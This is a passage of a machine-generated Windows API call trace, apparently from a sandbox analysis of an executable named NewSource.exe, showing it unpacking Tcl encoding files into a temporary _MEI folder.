hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.156] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.156] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.156] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.156] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.156] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.156] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.156] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.156] CloseHandle (hObject=0x10c) returned 1 [0036.156] GetLastError () returned 0x0 [0036.156] SetLastError (dwErrCode=0x0) [0036.156] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.156] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.156] GetFileType (hFile=0x10c) returned 0x1 [0036.156] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.156] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.156] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.156] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.156] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.156] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.157] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.157] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.157] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.157] CloseHandle (hObject=0x10c) returned 1 [0036.157] GetLastError () returned 0x0 [0036.157] SetLastError (dwErrCode=0x0) [0036.157] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp949.enc") returned 68 [0036.157] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp949.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp949.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.157] GetLastError () returned 0x2 [0036.157] SetLastError (dwErrCode=0x2) [0036.157] GetLastError () returned 0x2 [0036.157] SetLastError (dwErrCode=0x2) [0036.157] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp949.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp949.enc", lpFilePart=0x0) returned 0x43 [0036.157] GetLastError () returned 0x2 [0036.157] SetLastError (dwErrCode=0x2) [0036.157] GetLastError () returned 0x2 [0036.157] SetLastError (dwErrCode=0x2) [0036.157] GetLastError () returned 0x2 [0036.159] SetLastError (dwErrCode=0x2) [0036.159] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp949.enc") returned 68 [0036.159] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.159] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp949.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp949.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.159] GetFileType (hFile=0x10c) returned 0x1 [0036.159] htonl (hostlong=0x77fd0100) returned 0x1fd77 [0036.159] WriteFile (in: hFile=0x10c, lpBuffer=0x569f18*, nNumberOfBytesToWrite=0x1f000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x569f18*, lpNumberOfBytesWritten=0x4fcd00*=0x1f000, lpOverlapped=0x0) returned 1 [0036.162] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.162] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xd77, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xd77, lpOverlapped=0x0) returned 1 [0036.162] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.162] CloseHandle (hObject=0x10c) returned 1 [0036.165] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x569f18 | out: hHeap=0x530000) returned 1 [0036.166] htonl (hostlong=0x30000000) returned 0x30 [0036.166] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.166] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.166] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.166] GetFileType (hFile=0x10c) returned 0x1 [0036.166] htonl (hostlong=0x32c5300) returned 0x532c03 [0036.166] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x57dc03, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.166] htonl (hostlong=0x127b0000) returned 0x7b12 [0036.166] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7b12) returned 0x560088 [0036.174] htonl (hostlong=0x127b0000) returned 0x7b12 [0036.174] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x7000, lpOverlapped=0x0) returned 1 [0036.175] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.175] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.175] htonl (hostlong=0xb7660100) returned 0x166b7 [0036.175] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x166b7) returned 0x567ba8 [0036.176] htonl (hostlong=0x127b0000) returned 0x7b12 [0036.176] htonl (hostlong=0xb7660100) returned 0x166b7 [0036.176] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x57e268 [0036.176] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x57e268 | out: hHeap=0x530000) returned 1 [0036.176] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.177] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.177] CloseHandle (hObject=0x10c) returned 1 [0036.177] GetLastError () returned 0x0 [0036.177] SetLastError (dwErrCode=0x0) [0036.177] GetLastError () returned 0x0 [0036.177] SetLastError (dwErrCode=0x0) [0036.177] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.177] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.177] GetFileType (hFile=0x10c) returned 0x1 [0036.177] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.177] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.177] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.177] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.177] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.177] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.177] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.177] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.177] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.177] CloseHandle (hObject=0x10c) returned 1 [0036.178] GetLastError () returned 0x0 [0036.178] SetLastError (dwErrCode=0x0) [0036.178] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.178] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.178] GetFileType (hFile=0x10c) returned 0x1 [0036.178] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.178] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.178] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.178] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.178] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.178] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.178] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.178] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.178] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.178] CloseHandle (hObject=0x10c) returned 1 [0036.178] GetLastError () returned 0x0 [0036.178] SetLastError (dwErrCode=0x0) [0036.178] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp950.enc") returned 68 [0036.178] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp950.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp950.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.178] GetLastError () returned 0x2 [0036.178] SetLastError (dwErrCode=0x2) [0036.178] GetLastError () returned 0x2 [0036.178] SetLastError (dwErrCode=0x2) [0036.178] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp950.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp950.enc", lpFilePart=0x0) returned 0x43 [0036.178] GetLastError () returned 0x2 [0036.179] SetLastError (dwErrCode=0x2) [0036.179] GetLastError () returned 0x2 [0036.179] SetLastError (dwErrCode=0x2) [0036.179] GetLastError () returned 0x2 [0036.179] SetLastError (dwErrCode=0x2) [0036.179] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp950.enc") returned 68 [0036.179] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.179] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp950.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp950.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.179] GetFileType (hFile=0x10c) returned 0x1 [0036.179] htonl (hostlong=0xb7660100) returned 0x166b7 [0036.179] WriteFile (in: hFile=0x10c, lpBuffer=0x567ba8*, nNumberOfBytesToWrite=0x16000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x567ba8*, lpNumberOfBytesWritten=0x4fcd00*=0x16000, lpOverlapped=0x0) returned 1 [0036.181] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.181] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x6b7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x6b7, lpOverlapped=0x0) returned 1 [0036.181] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.181] CloseHandle (hObject=0x10c) returned 1 [0036.183] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x567ba8 | out: hHeap=0x530000) returned 1 [0036.184] htonl (hostlong=0x30000000) returned 0x30 [0036.184] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.184] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.184] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.184] GetFileType (hFile=0x10c) returned 0x1 [0036.184] htonl (hostlong=0x15a75300) returned 0x53a715 [0036.184] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x585715, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.184] htonl (hostlong=0x10020000) returned 0x210 [0036.184] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x210) returned 0x550600 [0036.184] htonl (hostlong=0x10020000) returned 0x210 [0036.184] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.184] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.184] htonl (hostlong=0x45040000) returned 0x445 [0036.184] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x445) returned 0x55e278 [0036.184] htonl (hostlong=0x10020000) returned 0x210 [0036.185] htonl (hostlong=0x45040000) returned 0x445 [0036.185] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.185] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.185] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.186] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.186] CloseHandle (hObject=0x10c) returned 1 [0036.186] GetLastError () returned 0x0 [0036.186] SetLastError (dwErrCode=0x0) [0036.186] GetLastError () returned 0x0 [0036.186] SetLastError (dwErrCode=0x0) [0036.186] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.186] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.186] GetFileType (hFile=0x10c) returned 0x1 [0036.186] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.186] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.186] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.186] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.186] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.186] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.186] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.186] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.186] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.186] CloseHandle (hObject=0x10c) returned 1 [0036.186] GetLastError () returned 0x0 [0036.186] SetLastError (dwErrCode=0x0) [0036.186] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.186] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.187] GetFileType (hFile=0x10c) returned 0x1 [0036.187] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.187] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.187] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.187] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.187] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.187] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.187] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.187] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.187] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.187] CloseHandle (hObject=0x10c) returned 1 [0036.187] GetLastError () returned 0x0 [0036.187] SetLastError (dwErrCode=0x0) [0036.187] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\dingbats.enc") returned 71 [0036.187] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\dingbats.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\dingbats.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.187] GetLastError () returned 0x2 [0036.187] SetLastError (dwErrCode=0x2) [0036.187] GetLastError () returned 0x2 [0036.187] SetLastError (dwErrCode=0x2) [0036.187] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\dingbats.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\dingbats.enc", lpFilePart=0x0) returned 0x46 [0036.187] GetLastError () returned 0x2 [0036.187] SetLastError (dwErrCode=0x2) [0036.187] GetLastError () returned 0x2 [0036.187] SetLastError (dwErrCode=0x2) [0036.187] GetLastError () returned 0x2 [0036.187] SetLastError (dwErrCode=0x2) [0036.187] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: 